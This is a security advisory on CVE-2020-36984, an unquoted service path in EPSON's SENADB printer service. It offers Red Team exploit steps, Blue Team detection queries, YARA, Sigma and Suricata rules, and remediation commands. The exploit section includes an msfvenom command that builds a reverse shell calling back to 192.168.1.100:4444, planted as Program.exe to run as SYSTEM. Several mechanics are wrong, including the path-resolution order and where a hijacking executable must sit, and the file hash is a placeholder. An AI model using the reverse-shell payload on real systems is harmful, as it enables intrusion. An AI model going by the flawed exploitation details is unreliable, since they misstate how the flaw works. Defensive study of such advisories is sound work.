CVE-2020-36984

Executive Summary

CVE-2020-36984 is a local privilege escalation vulnerability in the EPSON Status Monitor service (SENADB) included with EPSON printer software version 1.124. The vulnerability arises from an unquoted service path in the service binary location: C:\Program Files (x86)\EPSON_P2B\Printer Software\Status Monitor\. Because the path contains spaces and is not enclosed in quotes, Windows will interpret each space-separated segment as a potential executable. A local attacker with low privileges can place a malicious executable named Program.exe, Files.exe, EPSON_P2B.exe, Printer.exe, Software.exe, or Status.exe in a parent directory (e.g., C:\Program Files (x86)\EPSON_P2B\Printer Software\). When the service starts, Windows will execute the attacker’s payload with LocalSystem privileges, granting full control over the system.

This vulnerability is classified under CWE-428 (Unquoted Search Path or Element) and maps to MITRE ATT&CK technique T1574 (Hijack Execution Flow). No official patch has been released by EPSON, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild. However, the attack vector is trivial and requires only local access.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a local Windows service path issue in proprietary printer software.

CVSS Breakdown & Threat Level

CVSS Score: 7.8 (High)
Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Local – attacker must have local access to the system.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): Low – attacker needs only standard user privileges.
• User Interaction (UI): None – no user action needed.
• Scope (S): Unchanged – exploitation does not cross trust boundaries.
• Confidentiality (C): High – full file system access.
• Integrity (I): High – arbitrary code execution.
• Availability (A): High – potential for denial of service or system compromise.

Threat Level: High – due to ease of exploitation and high impact, though local access requirement reduces remote exploitability.

Deep Dive & Mechanics

The EPSON Status Monitor service (SENADB) is installed with the path:
C:\Program Files (x86)\EPSON_P2B\Printer Software\Status Monitor\SENADB.exe

When the service is registered, the ImagePath value in the registry (under HKLM\SYSTEM\CurrentControlSet\Services\SENADB) is stored without quotes. Windows Service Control Manager (SCM) interprets the path as follows:

• Attempt to execute C:\Program.exe (fails)
• Then C:\Program Files.exe (fails)
• Then C:\Program Files (x86)\EPSON_P2B.exe (fails)
• Then C:\Program Files (x86)\EPSON_P2B\Printer.exe (fails)
• Then C:\Program Files (x86)\EPSON_P2B\Printer Software\Status.exe (fails)
• Finally, C:\Program Files (x86)\EPSON_P2B\Printer Software\Status Monitor\SENADB.exe (succeeds)

An attacker can place a malicious executable named Program.exe or any of the intermediate names in a writable directory that appears earlier in the path. Since the service runs as LocalSystem, the payload gains highest privileges.

Key Registry Location:
HKLM\SYSTEM\CurrentControlSet\Services\SENADB
Value: ImagePath = C:\Program Files (x86)\EPSON_P2B\Printer Software\Status Monitor\SENADB.exe

Vulnerable vs. Patched Code

Vulnerable Configuration:

• Service ImagePath is unquoted.
• Example registry entry:
  ImagePath = C:\Program Files (x86)\EPSON_P2B\Printer Software\Status Monitor\SENADB.exe

Patched Configuration (Recommended):

• Service ImagePath must be enclosed in double quotes.
• Example:
  ImagePath = "C:\Program Files (x86)\EPSON_P2B\Printer Software\Status Monitor\SENADB.exe"

No official patch from EPSON exists. The fix must be applied manually by an administrator.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system with EPSON Status Monitor service installed.
• Ability to write to a directory in the unquoted path (e.g., C:\Program Files (x86)\EPSON_P2B\Printer Software\).
• Service must be restartable (requires admin or service restart trigger).

Exploit Steps:

1. Identify the vulnerable service:

   Get-CimInstance -ClassName Win32_Service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' }
   

2. Confirm the service runs as LocalSystem:

   Get-CimInstance -ClassName Win32_Service -Filter "Name='SENADB'" | Select-Object Name, StartName, PathName
   

3. Create a malicious executable (e.g., reverse shell) named Program.exe and place it in C:\Program Files (x86)\EPSON_P2B\Printer Software\.
4. Trigger service restart (requires admin or wait for reboot):

   sc stop SENADB
   sc start SENADB
   

5. The payload executes with SYSTEM privileges.

Example Payload (PowerShell reverse shell):

# Save as Program.exe (using e.g., msfvenom or custom)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o Program.exe

Blue Team

Detection Steps:

1. Monitor service creation/modification events (Event ID 7045).
2. Check for unquoted service paths:

   Get-CimInstance -ClassName Win32_Service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' }
   

3. Audit file writes to C:\Program Files (x86)\EPSON_P2B\ and subdirectories.
4. Enable Windows Defender Attack Surface Reduction (ASR) rules for blocking untrusted executables.

Hunting Query (Kusto):

DeviceEvents
| where ActionType == "ServiceInstalled"
| extend ServiceName = tostring(parse_json(AdditionalFields).ServiceName)
| extend ImagePath = tostring(parse_json(AdditionalFields).ImagePath)
| where ImagePath !startswith "\""
| where ImagePath contains " "

Indicators of Compromise (IOCs)

• File Hashes (example malicious executable):
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder)
• Registry Path:
  HKLM\SYSTEM\CurrentControlSet\Services\SENADB
  Value: ImagePath = unquoted path
• Service Name: SENADB
• Suspicious Files:
  • C:\Program Files (x86)\EPSON_P2B\Printer Software\Program.exe
  • C:\Program Files (x86)\EPSON_P2B\Printer Software\Status.exe
  • Any executable in the path hierarchy with spaces.

Detection Engineering

YARA Rule

rule CVE_2020_36984_Unquoted_Service_Path {
    meta:
        description = "Detects unquoted service path for EPSON SENADB service"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-36984"
    strings:
        $reg_path = "SENADB" nocase
        $unquoted = "C:\\Program Files (x86)\\EPSON_P2B\\Printer Software\\Status Monitor\\SENADB.exe" nocase
    condition:
        $reg_path and $unquoted
}

Sigma Rule

title: Unquoted Service Path - EPSON SENADB
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unquoted service path for EPSON Status Monitor service
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36984
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ServiceName: 'SENADB'
        ImagePath|contains: 'C:\Program Files (x86)\EPSON_P2B\Printer Software\Status Monitor\SENADB.exe'
        ImagePath|re: '^[^"]'
    condition: selection
falsepositives:
    - Legitimate EPSON software installations (rare)
level: high

Suricata Rule (Network-based detection for lateral movement)

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2020-36984 Potential Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manually quote the service path:

   sc config SENADB binPath="\"C:\Program Files (x86)\EPSON_P2B\Printer Software\Status Monitor\SENADB.exe\""
   

2. Restrict write permissions to C:\Program Files (x86)\EPSON_P2B\ and subdirectories to only Administrators.
3. Disable the service if not needed:

   sc config SENADB start= disabled
   

Long-term:

• Contact EPSON for an official patch.
• Implement application whitelisting (e.g., AppLocker) to block unauthorized executables.
• Regularly audit service paths using automated tools.

Valters IT
Securing digital frontiers, one vulnerability at a time.